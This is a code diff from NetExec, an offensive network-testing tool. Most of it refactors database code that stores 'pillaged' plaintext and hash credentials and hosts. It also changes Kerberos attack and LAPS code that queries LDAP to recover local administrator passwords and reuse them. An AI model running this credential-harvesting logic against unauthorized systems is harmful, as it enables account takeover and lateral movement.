@@ -170,10 +150,11 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users)
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
|
||||
set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.sess.execute(q_users, credentials) # .scalar()
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
# hacky way to get cred_id since we can't use returning() yet
|
||||
if len(credentials) == 1:
|
||||
@@ -187,7 +168,7 @@ class database:
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
@@ -195,7 +176,7 @@ class database:
|
||||
self.CredentialsTable.c.id == credential_id,
|
||||
self.CredentialsTable.c.password is not None,
|
||||
)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credential(self, username, password):
|
||||
@@ -203,7 +184,7 @@ class database:
|
||||
self.CredentialsTable.c.username == username,
|
||||
self.CredentialsTable.c.password == password,
|
||||
)
|
||||
results = self.sess.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
if results is not None:
|
||||
return results.id
|
||||
|
||||
@@ -220,12 +201,12 @@ class database:
|
||||
else:
|
||||
q = select(self.CredentialsTable)
|
||||
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_hosts(self, filter_term=None):
|
||||
@@ -235,26 +216,26 @@ class database:
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.sess.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by host
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(self.HostsTable.c.host.like(like_term))
|
||||
results = self.sess.execute(q).all()
|
||||
q = format_host_query(q, filter_term, self.HostsTable)
|
||||
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"FTP get_hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_user_valid(self, cred_id):
|
||||
"""Check if this User ID is valid."""
|
||||
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_user(self, username):
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_users(self, filter_term=None):
|
||||
q = select(self.CredentialsTable)
|
||||
@@ -265,14 +246,14 @@ class database:
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def add_loggedin_relation(self, cred_id, host_id):
|
||||
relation_query = select(self.LoggedinRelationsTable).filter(
|
||||
self.LoggedinRelationsTable.c.credid == cred_id,
|
||||
self.LoggedinRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
results = self.sess.execute(relation_query).all()
|
||||
results = self.db_execute(relation_query).all()
|
||||
|
||||
# only add one if one doesn't already exist
|
||||
if not results:
|
||||
@@ -282,7 +263,7 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||
|
||||
self.sess.execute(q, [relation]) # .scalar()
|
||||
self.db_execute(q, [relation]) # .scalar()
|
||||
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
|
||||
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
|
||||
return inserted_id_results[0].id
|
||||
@@ -295,7 +276,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
if host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_loggedin_relations(self, cred_id=None, host_id=None):
|
||||
q = delete(self.LoggedinRelationsTable)
|
||||
@@ -303,7 +284,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_directory_listing(self, lir_id, data):
|
||||
pass
|
||||
|
||||
+511
-699
File diff suppressed because it is too large.
Load diff
+192
-32
@@ -1,38 +1,34 @@
|
||||
from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
import sys
|
||||
|
||||
from sqlalchemy import func, Table, select, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
from nxc.database import BaseDB, format_host_query
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.UsersTable = None
|
||||
self.HostsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "credentials" (
|
||||
"""CREATE TABLE "users" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"domain" text,
|
||||
"username" text,
|
||||
"password" text
|
||||
"password" text,
|
||||
"credtype" text,
|
||||
"pillaged_from_hostid" integer,
|
||||
FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id)
|
||||
)"""
|
||||
)
|
||||
|
||||
@@ -41,14 +37,15 @@ class database:
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"hostname" text,
|
||||
"port" integer
|
||||
"domain" text,
|
||||
"os" text
|
||||
)"""
|
||||
)
|
||||
|
||||
def reflect_tables(self):
|
||||
with self.db_engine.connect():
|
||||
try:
|
||||
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
|
||||
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
|
||||
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
|
||||
except (NoInspectionAvailable, NoSuchTableError):
|
||||
print(
|
||||
@@ -60,15 +57,178 @@ class database:
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
def add_host(self, ip, hostname, domain, os):
|
||||
"""Check if this host has already been added to the database, if not, add it in."""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
new_host = {
|
||||
"ip": ip,
|
||||
"hostname": hostname,
|
||||
"domain": domain,
|
||||
"os": os
|
||||
}
|
||||
hosts = [new_host]
|
||||
# update existing hosts data
|
||||
else:
|
||||
for host in results:
|
||||
host_data = host._asdict()
|
||||
# only update column if it is being passed in
|
||||
if ip is not None:
|
||||
host_data["ip"] = ip
|
||||
if hostname is not None:
|
||||
host_data["hostname"] = hostname
|
||||
if domain is not None:
|
||||
host_data["domain"] = domain
|
||||
# only add host to be updated if it has changed
|
||||
if host_data not in hosts:
|
||||
hosts.append(host_data)
|
||||
updated_ids.append(host_data["id"])
|
||||
nxc_logger.debug(f"Update Hosts: {hosts}")
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
return updated_ids
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
groups = []
|
||||
|
||||
if pillaged_from and not self.is_host_valid(pillaged_from):
|
||||
nxc_logger.debug("Invalid host")
|
||||
return
|
||||
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
new_cred = {
|
||||
"credtype": credtype,
|
||||
"domain": domain,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"pillaged_from": pillaged_from,
|
||||
}
|
||||
credentials = [new_cred]
|
||||
# update existing cred data
|
||||
else:
|
||||
for creds in results:
|
||||
# this will include the id, so we don't touch it
|
||||
cred_data = creds._asdict()
|
||||
# only update column if it is being passed in
|
||||
if credtype is not None:
|
||||
cred_data["credtype"] = credtype
|
||||
if domain is not None:
|
||||
cred_data["domain"] = domain
|
||||
if username is not None:
|
||||
cred_data["username"] = username
|
||||
if password is not None:
|
||||
cred_data["password"] = password
|
||||
if pillaged_from is not None:
|
||||
cred_data["pillaged_from"] = pillaged_from
|
||||
# only add cred to be updated if it has changed
|
||||
if cred_data not in credentials:
|
||||
credentials.append(cred_data)
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
if groups:
|
||||
q_groups = Insert(self.GroupRelationsTable)
|
||||
|
||||
self.db_execute(q_groups, groups)
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
"""Removes a credential ID from the database"""
|
||||
del_hosts = []
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
"""Return credentials from the database."""
|
||||
# if we're returning a single credential by ID
|
||||
if self.is_credential_valid(filter_term):
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
|
||||
elif cred_type:
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
|
||||
# if we're filtering by username
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
|
||||
# otherwise return all credentials
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
self.UsersTable.c.username == username,
|
||||
self.UsersTable.c.password == password,
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
)
|
||||
results = self.db_execute(q).first()
|
||||
return results.id
|
||||
|
||||
def get_hosts(self, filter_term=None, domain=None):
|
||||
"""Return hosts from the database."""
|
||||
q = select(self.HostsTable)
|
||||
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif filter_term is not None and filter_term.startswith("domain"):
|
||||
domain = filter_term.split()[1]
|
||||
like_term = func.lower(f"%{domain}%")
|
||||
q = q.filter(self.HostsTable.c.domain.like(like_term))
|
||||
# if we're filtering by ip/hostname
|
||||
elif filter_term and filter_term != "":
|
||||
q = format_host_query(q, filter_term, self.HostsTable)
|
||||
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"ldap hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
@@ -1,7 +1,183 @@
|
||||
from nxc.nxcdb import DatabaseNavigator, print_help
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from nxc.nxcdb import DatabaseNavigator, print_table, print_help
|
||||
|
||||
|
||||
class navigator(DatabaseNavigator):
|
||||
def display_hosts(self, hosts):
|
||||
data = [
|
||||
[
|
||||
"HostID",
|
||||
"IP",
|
||||
"Hostname",
|
||||
"Domain",
|
||||
"OS"
|
||||
]
|
||||
]
|
||||
|
||||
for host in hosts:
|
||||
host_id = host[0]
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
domain = host[3]
|
||||
|
||||
try:
|
||||
os = host[4].decode()
|
||||
except Exception:
|
||||
os = host[4]
|
||||
|
||||
data.append(
|
||||
[
|
||||
host_id,
|
||||
ip,
|
||||
hostname,
|
||||
domain,
|
||||
os
|
||||
]
|
||||
)
|
||||
print_table(data, title="Hosts")
|
||||
|
||||
def do_hosts(self, line):
|
||||
filter_term = line.strip()
|
||||
|
||||
if filter_term == "":
|
||||
hosts = self.db.get_hosts()
|
||||
self.display_hosts(hosts)
|
||||
else:
|
||||
hosts = self.db.get_hosts(filter_term=filter_term)
|
||||
|
||||
if len(hosts) > 1:
|
||||
self.display_hosts(hosts)
|
||||
elif len(hosts) == 1:
|
||||
data = [
|
||||
[
|
||||
"HostID",
|
||||
"IP",
|
||||
"Hostname",
|
||||
"Domain",
|
||||
"OS"
|
||||
]
|
||||
]
|
||||
host_id_list = []
|
||||
|
||||
for host in hosts:
|
||||
host_id = host[0]
|
||||
host_id_list.append(host_id)
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
domain = host[3]
|
||||
|
||||
try:
|
||||
os = host[4].decode()
|
||||
except Exception:
|
||||
os = host[4]
|
||||
|
||||
data.append(
|
||||
[
|
||||
host_id,
|
||||
ip,
|
||||
hostname,
|
||||
domain,
|
||||
os
|
||||
]
|
||||
)
|
||||
print_table(data, title="Host")
|
||||
|
||||
def help_hosts(self):
|
||||
help_string = """
|
||||
hosts [filter_term]
|
||||
By default prints all hosts
|
||||
Table format:
|
||||
| 'HostID', 'IP', 'Hostname', 'Domain', 'OS' |
|
||||
Subcommands:
|
||||
filter_term - filters hosts with filter_term
|
||||
If a single host is returned (e.g. `hosts 15`, it prints the following tables:
|
||||
Host | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' |
|
||||
Otherwise, it prints the default host table from a `like` query on the `ip` and `hostname` columns
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def display_creds(self, creds):
|
||||
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
|
||||
|
||||
for cred in creds:
|
||||
cred_id = cred[0]
|
||||
domain = cred[1]
|
||||
username = cred[2]
|
||||
password = cred[3]
|
||||
credtype = cred[4]
|
||||
|
||||
data.append(
|
||||
[
|
||||
cred_id,
|
||||
credtype,
|
||||
domain,
|
||||
username,
|
||||
password
|
||||
]
|
||||
)
|
||||
print_table(data, title="Credentials")
|
||||
|
||||
def do_creds(self, line):
|
||||
filter_term = line.strip()
|
||||
|
||||
if filter_term == "":
|
||||
creds = self.db.get_credentials()
|
||||
self.display_creds(creds)
|
||||
elif filter_term.split()[0].lower() == "add":
|
||||
args = filter_term.split()[1:]
|
||||
|
||||
if len(args) == 3:
|
||||
domain, username, password = args
|
||||
if validate_ntlm(password):
|
||||
self.db.add_credential("hash", domain, username, password)
|
||||
else:
|
||||
self.db.add_credential("plaintext", domain, username, password)
|
||||
else:
|
||||
print("[!] Format is 'add domain username password")
|
||||
return
|
||||
elif filter_term.split()[0].lower() == "remove":
|
||||
args = filter_term.split()[1:]
|
||||
|
||||
if len(args) != 1:
|
||||
print("[!] Format is 'remove <credID>'")
|
||||
return
|
||||
else:
|
||||
self.db.remove_credentials(args)
|
||||
elif filter_term.split()[0].lower() == "plaintext":
|
||||
creds = self.db.get_credentials(cred_type="plaintext")
|
||||
self.display_creds(creds)
|
||||
elif filter_term.split()[0].lower() == "hash":
|
||||
creds = self.db.get_credentials(cred_type="hash")
|
||||
self.display_creds(creds)
|
||||
else:
|
||||
creds = self.db.get_credentials(filter_term=filter_term)
|
||||
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
|
||||
cred_id_list = []
|
||||
|
||||
for cred in creds:
|
||||
cred_id_list.append(cred[0])
|
||||
data.append([cred[0], cred[1], cred[2], cred[3], cred[4]])
|
||||
|
||||
print_table(data, title="Credential(s)")
|
||||
|
||||
def help_creds(self):
|
||||
help_string = """
|
||||
creds [add|remove|plaintext|hash|filter_term]
|
||||
By default prints all creds
|
||||
Table format:
|
||||
| 'CredID', 'CredType', 'Domain', 'UserName', 'Password' |
|
||||
Subcommands:
|
||||
add - format: "add domain username password <notes> <credType> <sid>"
|
||||
remove - format: "remove <credID>"
|
||||
plaintext - prints plaintext creds
|
||||
hash - prints hashed creds
|
||||
filter_term - filters creds with filter_term
|
||||
If a single credential is returned (e.g. `creds 15`, it prints the following tables:
|
||||
Credential(s) | 'CredID', 'CredType', 'Domain', 'UserName', 'Password'
|
||||
Otherwise, it prints the default credential table from a `like` query on the `username` column
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def do_clear_database(self, line):
|
||||
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
|
||||
self.db.clear_database()
|
||||
|
||||
@@ -28,6 +28,7 @@ class KerberosAttacks:
|
||||
self.username = connection.username
|
||||
self.password = connection.password
|
||||
self.domain = connection.domain
|
||||
self.host = connection.host
|
||||
self.targetDomain = connection.targetDomain
|
||||
self.hash = connection.hash
|
||||
self.lmhash = ""
|
||||
@@ -223,6 +224,10 @@ class KerberosAttacks:
|
||||
|
||||
message = encoder.encode(as_req)
|
||||
|
||||
# If kdcHost isn't set, use the target IP for DNS resolution
|
||||
if not self.kdcHost:
|
||||
self.kdcHost = self.host
|
||||
|
||||
try:
|
||||
r = sendReceive(message, domain, self.kdcHost)
|
||||
except KerberosError as e:
|
||||
|
||||
+27
-31
@@ -1,5 +1,3 @@
|
||||
import binascii
|
||||
import hashlib
|
||||
from json import loads
|
||||
from pyasn1.codec.der import decoder
|
||||
from pyasn1_modules import rfc5652
|
||||
@@ -37,12 +35,13 @@ class LDAPConnect:
|
||||
def proto_logger(self, host, port, hostname):
|
||||
self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
if kdcHost is None:
|
||||
kdcHost = domain
|
||||
if kdcHost is None or domain not in kdcHost:
|
||||
self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost")
|
||||
exit(1)
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
@@ -54,12 +53,13 @@ class LDAPConnect:
|
||||
baseDN = ""
|
||||
domainParts = domain.split(".")
|
||||
for i in domainParts:
|
||||
baseDN += f"dc={i},"
|
||||
baseDN += f"DC={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
|
||||
self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]")
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain)
|
||||
ldap_connection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
@@ -78,7 +78,7 @@ class LDAPConnect:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain)
|
||||
ldap_connection.login(
|
||||
username,
|
||||
password,
|
||||
@@ -105,18 +105,14 @@ class LDAPConnect:
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError:
|
||||
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
|
||||
return False
|
||||
except KerberosError as e:
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}",
|
||||
color="red",
|
||||
)
|
||||
self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red")
|
||||
return False
|
||||
|
||||
def auth_login(self, domain, username, password, ntlm_hash):
|
||||
def auth_login(self, domain, username, password, ntlm_hash, dns_server):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
@@ -135,7 +131,7 @@ class LDAPConnect:
|
||||
base_dn = base_dn[:-1]
|
||||
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, domain)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain)
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
# Connect to LDAP
|
||||
@@ -148,7 +144,7 @@ class LDAPConnect:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, domain)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain)
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
@@ -173,7 +169,7 @@ class LDAPConnect:
|
||||
|
||||
|
||||
class LAPSv2Extract:
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
@@ -187,6 +183,7 @@ class LAPSv2Extract:
|
||||
self.do_kerberos = do_kerberos
|
||||
self.kdcHost = kdcHost
|
||||
self.logger = None
|
||||
self.dns_server = dns_server
|
||||
self.proto_logger(self.domain, port, self.domain)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
@@ -218,7 +215,7 @@ class LAPSv2Extract:
|
||||
gke = kds_cache[key_id["RootKeyId"]]
|
||||
else:
|
||||
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
|
||||
string_binding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
|
||||
@@ -263,7 +260,7 @@ class LAPSv2Extract:
|
||||
return plaintext[:-18].decode("utf-16le")
|
||||
|
||||
|
||||
def laps_search(self, username, password, cred_type, domain):
|
||||
def laps_search(self, username, password, cred_type, domain, dns_server):
|
||||
prev_protocol = self.logger.extra["protocol"]
|
||||
prev_port = self.logger.extra["port"]
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
@@ -274,7 +271,7 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
if self.kerberos:
|
||||
if self.kdcHost is None:
|
||||
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
connection = ldapco.kerberos_login(
|
||||
domain[0],
|
||||
@@ -283,6 +280,7 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
kdcHost=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
dns_server=dns_server
|
||||
)
|
||||
else:
|
||||
connection = ldapco.auth_login(
|
||||
@@ -290,11 +288,12 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
dns_server
|
||||
)
|
||||
if not connection:
|
||||
self.logger.fail(f"LDAP connection failed with account {username[0]}")
|
||||
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
|
||||
attributes = [
|
||||
@@ -325,13 +324,14 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
self.kerberos,
|
||||
self.kdcHost,
|
||||
339
|
||||
339,
|
||||
dns_server
|
||||
)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
@@ -346,21 +346,17 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
||||
else:
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
if msMCSAdmPwd == "":
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None, None
|
||||
|
||||
hash_ntlm = None
|
||||
if cred_type[0] == "hash":
|
||||
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
||||
hash_ntlm = binascii.hexlify(hash_ntlm).decode()
|
||||
return None, None, None
|
||||
|
||||
username = username_laps if username_laps else self.args.laps
|
||||
password = msMCSAdmPwd
|
||||
domain = self.hostname
|
||||
self.args.local_auth = True
|
||||
self.kerberos = False
|
||||
self.logger.extra["protocol"] = prev_protocol
|
||||
self.logger.extra["port"] = prev_port
|
||||
return username, password, domain, hash_ntlm
|
||||
return username, password, domain
|
||||
@@ -5,34 +5,37 @@ def proto_args(parser, parents):
|
||||
